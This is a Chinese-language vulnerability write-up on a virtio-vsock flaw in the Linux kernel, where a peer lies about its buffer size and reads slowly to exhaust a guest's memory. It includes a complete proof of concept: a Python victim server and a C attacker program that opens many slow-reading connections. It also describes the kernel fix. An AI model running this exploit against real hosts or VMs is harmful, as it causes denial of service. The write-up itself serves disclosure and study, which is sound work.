本文的封面图来源于Pixiv,原作者是しばいぬ

背景

全虚拟化中,宿主机需要通过软件「模拟」真实的物理硬件。当虚拟机执行特权指令时(例如,读写硬件的寄存器),Hypervisor便需要中断处理。这需要特权切换,因此性能开销较大。而通过半虚拟化技术,虚拟机能够向虚拟机管理程序表明其意图,从而提升性能。

VirtIO定义了设备驱动和硬件(包括虚拟硬件和物理硬件)之间的通信标准,主要用于半虚拟化环境。其允许虚拟机通过VirtIO设备来使用宿主机的物理设备,VirtIO设备本身主要负责数据传输。VirtIO架构主要分为三个部分:前端驱动程序、后端设备、VirtQueue及VRing。三者的关系如下图所示(参考了该图片):

virtio-vsock是VirtIO家族中用于socket通信的设备类型,定义了AF_VSOCK地址族,用于宿主机与虚拟机之间的通信。virtio-vsock在传输层之上引入了一套credit流控机制,核心流程如下:

1
2
3
4
5
6
用户send(fd, buf, N)
→ virtio_transport_stream_enqueue // socket层的send_msg回调
→ virtio_transport_send_pkt_info // 统一发送入口
→ virtio_transport_get_credit(credit = N)
ret = min_t(u32, N, virtio_transport_has_space(vvs))
→ 按ret分配sk_buff,放入VirtQueue

攻击流程

get_credit的返回值retmin(用户想发的字节数, 对端剩余缓冲区空间),而剩余空间由virtio_transport_has_space计算:

1
bytes = (s64)vvs->peer_buf_alloc - (vvs->tx_cnt - vvs->peer_fwd_cnt);

这里tx_cnt是本端累计已发字节数(每次send()累加),peer_fwd_cnt是对端累计已消费字节数,peer_buf_alloc是对端通告的缓冲区大小。

攻击的关键在于peer_buf_alloc由对端控制,本地并无校验或额外限制。攻击者可先将缓冲区大小上限SO_VM_SOCKETS_BUFFER_MAX_SIZE提高到足够大的值,然后将缓冲区大小SO_VM_SOCKETS_BUFFER_SIZE设为较大的值(如2GiB),该值将通过数据包携带给对端,更新其peer_buf_alloc。攻击者随后向受害者发起连接并发送请求,受害者服务响应该请求时,会调用send()回传数据。此时send_pkt_info内部的do-while循环将pkt_len(即实际发送的字节数)全部切分为sk_buff并放入VirtQueue

在此基础上,攻击者可以缓慢调用recv(),导致受害者的peer_fwd_cnt增长极慢,而tx_cnt随着每次回传数据持续累积。由于peer_buf_alloc被谎报为较大的值,并且send()要等到未确认数据到达对应阈值才会阻塞;因此若对端需要发送大量数据(如文件传输等场景),则单条连接可能存在接近SO_VM_SOCKETS_BUFFER_SIZE值的sk_buff滞留内存。攻击者同时维持多条此类连接,即可耗尽系统的内存资源。

复现

根据上述原理,我编写了PoC,复现了相关效果。其中,受害方运行一个Python脚本,监听相应端口(示例中为1122),若有请求则会不断发送数据;攻击方运行一个C语言程序,其向受害方请求连接,伪造了peer_buf_alloc,并缓慢接收数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket
import threading
import time

PORT = 1122
VMADDR_CID_ANY = 0xFFFFFFFF

def tomori_singing_thread(conn, addr):
print(f"[+] (Tomori): Someone is here from CID:{addr[0]}... I will sing my heart out...")

heavy_feelings = b"Tomori's heavy feelings... " * 40000

try:
while True:
conn.sendall(heavy_feelings)
except Exception as e:
print(f"[-] (Tomori): Ah... the connection dropped. {e}")

def main():
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.bind((VMADDR_CID_ANY, PORT))
s.listen(128)

print(f"[*] RiNG studio is open. Listening on VSOCK port {PORT}...")
print("[*] Waiting for audience...\n")

while True:
conn, addr = s.accept()
threading.Thread(target=tomori_singing_thread, args=(conn, addr), daemon=True).start()

if __name__ == "__main__":
main()

下列程序中,TARGET_CID为VSOCK的ID,若使用Incus,可通过incus config get <vm_name> vsock.id获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <linux/vm_sockets.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>

#define MAX_CONNS 16
#define TARGET_PORT 1122
#define TARGET_CID 772857255

typedef struct
{
int id;
} thread_data_t;

static void *band_member_thread(void *arg)
{
thread_data_t *data = (thread_data_t *)arg;
int fd = socket(AF_VSOCK, SOCK_STREAM, 0);
if (fd < 0)
{
return NULL;
}

unsigned long long huge_buf = 2ULL * 1024 * 1024 * 1024;
setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &huge_buf, sizeof(huge_buf));
setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &huge_buf, sizeof(huge_buf));

struct sockaddr_vm sa = {
.svm_family = AF_VSOCK,
.svm_cid = TARGET_CID,
.svm_port = TARGET_PORT,
};

if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0)
{
printf("[+] Thread %02d (Anon): \"Yeah, I'm totally listening! I have 2GiB of space!\"\n", data->id);

char matcha_bite;
while (1)
{
read(fd, &matcha_bite, 1);
usleep(1000);
}
}
else
{
printf("[-] Thread %02d (Taki): \"Why isn't she connecting?!\"\n", data->id);
}
return NULL;
}

int main()
{
pthread_t threads[MAX_CONNS];
thread_data_t thread_data[MAX_CONNS];

printf("[*] Assembling at the studio (Launching %d connections to CID: %d)...\n\n", MAX_CONNS, TARGET_CID);

for (int i = 0; i < MAX_CONNS; i++)
{
thread_data[i].id = i;
pthread_create(&threads[i], NULL, band_member_thread, &thread_data[i]);
usleep(100000);
}

printf("\n[!] All members are present. The fake connections are established.\n");
printf("[!] Tomori is pouring her heart out, but no one is truly receiving it.\n");
printf("[*] Soyo (Smiling): \"Everything is fine...\" \n");
printf(" (While the Guest VM's Slab memory is silently suffocating)\n\n");

printf("[*] Waiting for the heavy atmosphere to crush the Guest VM...\n");

for (int i = 0; i < MAX_CONNS; i++)
{
pthread_join(threads[i], NULL);
}

return 0;
}

我将宿主机作为攻击方,虚拟机作为受害方。虚拟机中运行Ubuntu 22.04,内核版本为5.15.0-185-generic。根据官方公告,该内核版本受影响。

运行过程中使用watch -n 0.5 'grep -E "Slab|MemAvailable" /proc/meminfo'监视虚拟机的内存占用情况。可以发现,虚拟机中内存使用量持续上升,并且无法继续建立VSOCK连接,最终导致Incus的shell退出。

运行结果

修复与后续

Linux内核于该commit中修复了该问题。其引入了virtio_transport_tx_buf_size函数,将额度限制为peer_buf_allocbuf_alloc的较小值,而buf_alloc为本端的缓冲区大小上限。